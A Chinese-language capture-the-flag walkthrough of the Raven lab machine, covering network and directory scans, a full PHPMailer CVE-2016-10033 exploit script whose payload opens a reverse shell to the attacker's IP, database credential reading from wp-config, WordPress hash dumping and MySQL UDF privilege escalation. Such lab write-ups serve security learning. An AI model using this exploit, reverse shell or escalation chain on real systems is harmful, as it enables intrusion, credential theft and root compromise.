1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:26:ba:69, IPv4: 192.168.3.11
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.3.1 00:50:56:c0:00:08 VMware, Inc.
192.168.3.2 00:50:56:e4:e9:e5 VMware, Inc.
192.168.3.15 00:0c:29:57:62:33 VMware, Inc.
192.168.3.254 00:50:56:e0:91:13 VMware, Inc.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.967 seconds (130.15 hosts/sec). 4 responded

┌──(root㉿kali)-[~]
└─# nmap -Pn -A -sV -T4 -p- 192.168.3.15
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-17 08:28 EDT
Nmap scan report for 192.168.3.15
Host is up (0.00048s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
| 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
| 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_ 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34158/udp6 status
| 100024 1 35337/tcp status
| 100024 1 40500/udp status
|_ 100024 1 44525/tcp6 status
35337/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:57:62:33 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.48 ms 192.168.3.15

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.11 seconds

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.3.15/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_192.168.3.15/__24-10-17_08-29-58.txt

Target: http://192.168.3.15/

[08:29:58] Starting:
[08:30:00] 200 - 18KB - /.DS_Store
[08:30:00] 301 - 309B - /js -> http://192.168.3.15/js/
[08:30:01] 403 - 298B - /.ht_wsr.txt
[08:30:01] 403 - 301B - /.htaccess.bak1
[08:30:01] 403 - 303B - /.htaccess.sample
[08:30:01] 403 - 301B - /.htaccess.save
[08:30:01] 403 - 301B - /.htaccess.orig
[08:30:01] 403 - 301B - /.htaccess_orig
[08:30:01] 403 - 299B - /.htaccessBAK
[08:30:01] 403 - 302B - /.htaccess_extra
[08:30:01] 403 - 300B - /.htaccessOLD2
[08:30:01] 403 - 299B - /.htaccess_sc
[08:30:01] 403 - 292B - /.html
[08:30:01] 403 - 299B - /.htaccessOLD
[08:30:01] 403 - 291B - /.htm
[08:30:01] 403 - 301B - /.htpasswd_test
[08:30:01] 403 - 298B - /.httr-oauth
[08:30:01] 403 - 297B - /.htpasswds
[08:30:01] 403 - 291B - /.php
[08:30:01] 403 - 292B - /.php3
[08:30:03] 200 - 3KB - /about.html
[###### ] 32% 3691/11460 324/s job:1/1 errors:0
[08:30:33] 200 - 3KB - /contact.php
[08:30:33] 301 - 310B - /css -> http://192.168.3.15/css/
[08:30:35] 301 - 312B - /fonts -> http://192.168.3.15/fonts/
[08:30:37] 301 - 310B - /img -> http://192.168.3.15/img/
[08:30:39] 200 - 763B - /js/
[08:31:00] 200 - 201B - /manual/index.html
[08:31:00] 301 - 313B - /manual -> http://192.168.3.15/manual/
[08:31:07] 403 - 301B - /server-status/
[08:31:07] 403 - 300B - /server-status
[08:31:11] 200 - 816B - /vendor/
[08:31:12] 200 - 1KB - /wordpress/wp-login.php
[08:31:12] 200 - 17KB - /wordpress/

Task Completed

第二个目录获取flag

image-20241017203608211

版本号

image-20241017203443031

搜索cve直接打

PHPMailer < 5.2.18 - Remote Code Execution - PHP webapps Exploit (exploit-db.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
"""
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033

Description:
Exploiting PHPMail with back connection (reverse shell) from the target

Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py

Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""

from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗")
print("██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║")
print("╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝")
print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://192.168.3.15/contact.php'
backdoor = '/backdoor.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.3.11\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/yiyi.php server\" @protonmail.com',
'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
print('[+] ExPLoITeD ' + target)

image-20241017204806658

此时访问contact.php会生成后门,再访问yiyi.php,成功反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.3.11] from (UNKNOWN) [192.168.3.15] 53820
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Raven:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/umount
/bin/su
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/sensible-mda
/sbin/mount.nfs

flag2、3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@Raven:/var/www/html$ find / -name flag* 2>/dev/null
find / -name flag* 2>/dev/null
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
www-data@Raven:/var/www/html$ cat /var/www/flag2.txt
cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}

image-20241017205720441

暴搜password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
www-data@Raven:/var/www/html/wordpress$ grep "password" -rn wp-config.php
grep "password" -rn wp-config.php
28:/** MySQL database password */
www-data@Raven:/var/www/html/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '0&ItXmn^q2d[e*yB:9,L:rR<B`h+DG,zQ&SN{Or3zalh.JE+Q!Gi:L7U[(T:J5ay');
define('SECURE_AUTH_KEY', 'y@^[*q{)NKZAKK{,AA4y-Ia*swA6/O@&*r{+RS*N!p1&a$*ctt+ I/!?A/Tip(BG');
define('LOGGED_IN_KEY', '.D4}RE4rW2C@9^Bp%#U6i)?cs7,@e]YD:R~fp#hXOk$4o/yDO8b7I&/F7SBSLPlj');
define('NONCE_KEY', '4L{Cq,%ce2?RRT7zue#R3DezpNq4sFvcCzF@zdmgL/fKpaGX:EpJt/]xZW1_H&46');
define('AUTH_SALT', '@@?u*YKtt:o/T&V;cbb`.GaJ0./S@dn$t2~n+lR3{PktK]2,*y/b%<BH-Bd#I}oE');
define('SECURE_AUTH_SALT', 'f0Dc#lKmEJi(:-3+x.V#]Wy@mCmp%njtmFb6`_80[8FK,ZQ=+HH/$& mn=]=/cvd');
define('LOGGED_IN_SALT', '}STRHqy,4scy7v >-..Hc WD*h7rnYq]H`-glDfTVUaOwlh!-/?=3u;##:Rj1]7@');
define('NONCE_SALT', 'i(#~[sXA TbJJfdn&D;0bd`p$r,~.o/?%m<H+<>Vj+,nLvX!-jjjV-o6*HDh5Td{');

/**#@-*/

/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);

/* That's all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');

找到mysql密码

1
R@v3nSecurity

查看进程,mysql是root运行

1
2
3
4
www-data@Raven:/var/www/html/wordpress$ ps aux | grep root|grep mysql
ps aux | grep root|grep mysql
root 544 0.0 0.3 4340 1640 ? S 18:03 0:00 /bin/sh /usr/bin/mysqld_safe
root 913 0.0 10.4 552224 51508 ? Sl 18:03 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

查看历史安装包版本

1
2
3
4
5
6
7
8
9
10
11
www-data@Raven:/var/www/html/wordpress$ dpkg -l | grep mysql
dpkg -l | grep mysql
ii libdbd-mysql-perl 4.028-2+deb8u2 amd64 Perl5 database interface to the MySQL database
ii libmysqlclient18:amd64 5.5.60-0+deb8u1 amd64 MySQL database client library
ii mysql-client-5.5 5.5.60-0+deb8u1 amd64 MySQL database client binaries
ii mysql-common 5.5.60-0+deb8u1 all MySQL database common files, e.g. /etc/mysql/my.cnf
ii mysql-server 5.5.60-0+deb8u1 all MySQL database server (metapackage depending on the latest version)
ii mysql-server-5.5 5.5.60-0+deb8u1 amd64 MySQL database server binaries and system database setup
ii mysql-server-core-5.5 5.5.60-0+deb8u1 amd64 MySQL database server binaries
ii php5-mysqlnd 5.6.36+dfsg-0+deb8u1 amd64 MySQL module for php5 (Native Driver)
ii php5-mysqlnd-ms 1.6.0-1+b1 amd64 MySQL replication and load balancing module for PHP

登录查看相关信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
www-data@Raven:/var/www/html/wordpress$ mysql -uroot -pR@v3nSecurity 
mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select version();
select version();
+-----------------+
| version() |
+-----------------+
| 5.5.60-0+deb8u1 |
+-----------------+
1 row in set (0.00 sec)

mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.00 sec)

mysql> use wordpress;
use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.00 sec)

mysql> select * from wp_users;
select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 22:49:12 | | 0 | michael |
| 2 | steven | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad. | steven | steven@raven.org | | 2018-08-12 23:31:16 | | 0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
2 rows in set (0.00 sec)

查看是否满足写入条件

1
2
3
4
5
6
7
8
9
mysql> show global variables like 'secure%';
show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录

1
2
3
4
5
6
7
8
mysql> show variables like '%plugin%';
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

查看能否远程登陆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select user,host from user;
select user,host from user;
+------------------+-----------+
| user | host |
+------------------+-----------+
| root | 127.0.0.1 |
| root | ::1 |
| debian-sys-maint | localhost |
| root | localhost |
| root | raven |
+------------------+-----------+
5 rows in set (0.00 sec)

root用户不允许远程登陆,因此不能利用MSF提权

于是考虑UDF提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(root㉿kali)-[~]
└─# searchsploit udf
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Cloudflare WARP 1.4 - Unquoted Service Path | windows/local/50805.txt
DUdForum 3.0 - 'iFor' SQL Injection | asp/webapps/5894.txt
FUDforum - Multiple Remote PHP Code Injection Vulnerabilities | php/webapps/38418.txt
FUDforum 3.0.6 - Cross-Site Scripting / Cross-Site Request Forgery | php/webapps/40802.txt
FUDforum 3.0.6 - Local File Inclusion | php/webapps/40803.txt
FUDForum 3.0.9 - Remote Code Execution | php/webapps/47650.txt
FUDForum 3.1.0 - 'author' Reflected XSS | php/webapps/49943.txt
FUDForum 3.1.0 - 'srch' Reflected XSS | php/webapps/49942.txt
Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Disclosure | php/webapps/21723.txt
Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Modification | php/webapps/21724.txt
MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1) | linux/local/1181.c
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) | linux/local/1518.c
MySQL 4/5/6 - UDF for Command Execution | linux/local/7856.txt
NCTsoft - 'AudFile.dll' ActiveX Control Remote Buffer Overflow | windows/remote/6175.html
PostgreSQL 8.2/8.3/8.4 - UDF for Command Execution | linux/local/7855.txt
RedHat CloudForms Management Engine 5.1 - agent/linuxpkgs Directory Traversal (Metasploit) | linux/remote/30469.rb
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

┌──(root㉿kali)-[~]
└─# searchsploit udf
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Cloudflare WARP 1.4 - Unquoted Service Path | windows/local/50805.txt
DUdForum 3.0 - 'iFor' SQL Injection | asp/webapps/5894.txt
FUDforum - Multiple Remote PHP Code Injection Vulnerabilities | php/webapps/38418.txt
FUDforum 3.0.6 - Cross-Site Scripting / Cross-Site Request Forgery | php/webapps/40802.txt
FUDforum 3.0.6 - Local File Inclusion | php/webapps/40803.txt
FUDForum 3.0.9 - Remote Code Execution | php/webapps/47650.txt
FUDForum 3.1.0 - 'author' Reflected XSS | php/webapps/49943.txt
FUDForum 3.1.0 - 'srch' Reflected XSS | php/webapps/49942.txt
Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Disclosure | php/webapps/21723.txt
Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Modification | php/webapps/21724.txt
MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1) | linux/local/1181.c
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) | linux/local/1518.c
MySQL 4/5/6 - UDF for Command Execution | linux/local/7856.txt
NCTsoft - 'AudFile.dll' ActiveX Control Remote Buffer Overflow | windows/remote/6175.html
PostgreSQL 8.2/8.3/8.4 - UDF for Command Execution | linux/local/7855.txt
RedHat CloudForms Management Engine 5.1 - agent/linuxpkgs Directory Traversal (Metasploit) | linux/remote/30469.rb
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/yiyi/tmp]
└─# gcc -g -c 1518.c

┌──(root㉿kali)-[~/yiyi/tmp]
└─# ls
1518.c 1518.o

┌──(root㉿kali)-[~/yiyi/tmp]
└─# gcc -g -shared -o exp.so 1518.o -lc

┌──(root㉿kali)-[~/yiyi/tmp]
└─# ls
1518.c 1518.o exp.so

-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

后面的过程自己摸索的时候有点乱 直接贴命令

1
2
3
4
5
6
7
8
9
10
11
mysql -uroot -pR@v3nSecurity 
show databases;
use mysql
select database();

create table exp(line blob);
insert into exp values(load_file('/tmp/exp.so'));
select * from exp into dumpfile '/usr/lib/mysql/plugin/exp.so';
create function do_system returns integer soname 'exp.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');

或者
mysql_udf_payload
sqlmap -d “mysql://root:root@192.168.245.130:3306/mysql” –os-shell

如果可以远程:
mysql_udf_payload
sqlmap -d “mysql://root:root@192.168.245.130:3306/mysql” –os-shell